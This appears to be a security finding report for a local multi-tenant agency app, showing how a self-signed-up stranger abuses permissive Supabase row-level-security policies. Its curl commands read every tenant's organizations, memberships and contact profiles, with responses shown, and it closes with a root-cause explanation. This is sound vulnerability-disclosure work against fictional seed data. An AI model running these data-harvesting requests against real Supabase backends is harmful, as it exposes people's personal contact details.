Failure mode: FM2 (research/FAILURE_MODES.md) · Severity: high · Reproduced: yes
Impact: Anyone can sign up and download the full staff and client directory of every agency on the platform, phone numbers included.
Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm02-stranger-reads-tenants.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:25.725Z.
Setup
sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)
JWT_STRANGER=<access_token from step 1>Steps
1. Sign up a brand-new account (self-signup is open)
sh
curl -s -X POST "$URL/auth/v1/signup" \
-H "apikey: $ANON" \
-H "Content-Type: application/json" \
-d '{"email":"stranger@outsider.example","password":"stranger-pass-1","data":{"full_name":"Stranger"}}'Response: HTTP 200
json
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5... (608 chars)",
"user": {
"id": "0cf4abd1-919e-4f68-bd92-98b601e47d3c",
"email": "stranger@outsider.example",
"email_confirmed_at": "2026-11-22T16:05:25.713Z"
},
"...": "(other fields trimmed)"
}2. Read all organizations
sh
curl -s "$URL/rest/v1/organizations?select=*" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_STRANGER"Response: HTTP 200
json
[
{
"id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c",
"name": "Northlake Studio",
"slug": "northlake",
"owner_id": "2d4f4a27-68b6-453a-b2d8-a3109473d20a",
"stripe_customer_id": null,
"created_at": "2026-11-22T16:04:58.773+00:00"
},
{
"id": "396a94a8-a43a-4289-91fd-087b55f18d50",
"name": "Tidewater Social",
"slug": "tidewater",
"owner_id": "ba44d500-0e37-4401-8346-fc2265612d79",
"stripe_customer_id": null,
"created_at": "2026-11-22T16:04:58.773+00:00"
}
]3. Read all memberships (who works where, with which role)
sh
curl -s "$URL/rest/v1/memberships?select=*" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_STRANGER"Response: HTTP 200
json
[
{
"id": "0ec8dfcf-ac8a-43eb-9c64-a0ade2349f8c",
"org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c",
"user_id": "2d4f4a27-68b6-453a-b2d8-a3109473d20a",
"role": "owner",
"client_id": null,
"created_at": "2026-11-22T16:04:58.774+00:00"
},
{
"id": "a875c0d0-7d04-4efc-aba2-40dcb5b9e361",
"org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c",
"user_id": "b034ccfb-db07-4df1-8f1b-6b90dcadd230",
"role": "staff",
"client_id": null,
"created_at": "2026-11-22T16:04:58.774+00:00"
},
{
"id": "3f4ea29a-9587-42eb-8b02-99d607e6e2f6",
"org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c",
"user_id": "145a74b3-49d5-4f35-99c5-963f9af0a6b5",
"role": "client",
"client_id": "d58271c3-04c1-423e-9056-a6db2ba2c83f",
"created_at": "2026-11-22T16:04:58.774+00:00"
},
{
"id": "6aff6c16-7eb4-49db-a97d-1194c6fba2d5",
"org_id": "396a94a8-a43a-4289-91fd-087b55f18d50",
"user_id": "ba44d500-0e37-4401-8346-fc2265612d79",
"role": "owner",
"client_id": null,
"created_at": "2026-11-22T16:04:58.774+00:00"
},
"... 2 more (6 total)"
]4. Read all profiles (names, emails, phone numbers)
sh
curl -s "$URL/rest/v1/profiles?select=full_name,email,phone" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_STRANGER"Response: HTTP 200
json
[
{
"full_name": "Maya Okafor",
"email": "maya@northlake.example",
"phone": "+1 555 0101"
},
{
"full_name": "Jonas Berg",
"email": "jonas@northlake.example",
"phone": "+1 555 0102"
},
{
"full_name": "Priya Raman",
"email": "priya@bramblecoffee.example",
"phone": "+1 555 0103"
},
{
"full_name": "Leo Marsh",
"email": "leo@tidewater.example",
"phone": "+1 555 0104"
},
"... 3 more (7 total)"
]5. Profiles do not even need the signup: the anon key alone works
sh
curl -s "$URL/rest/v1/profiles?select=email,phone&limit=2" \
-H "apikey: $ANON"Response: HTTP 200
json
[
{
"email": "maya@northlake.example",
"phone": "+1 555 0101"
},
{
"email": "jonas@northlake.example",
"phone": "+1 555 0102"
}
]What this shows
- The stranger belongs to no agency, yet sees 2 organizations, 6 memberships and 7 profiles.
- The policies exist, so the Supabase dashboard shows RLS as enabled. They are
using (true)(schema.sql "[FM2]"), which is the same as no policy. - The profiles select policy has no
to authenticated, so it also applies to anon (step 5). - The memberships policy is
for all ... using (true) with check (true): the same stranger could also insert a membership into any agency.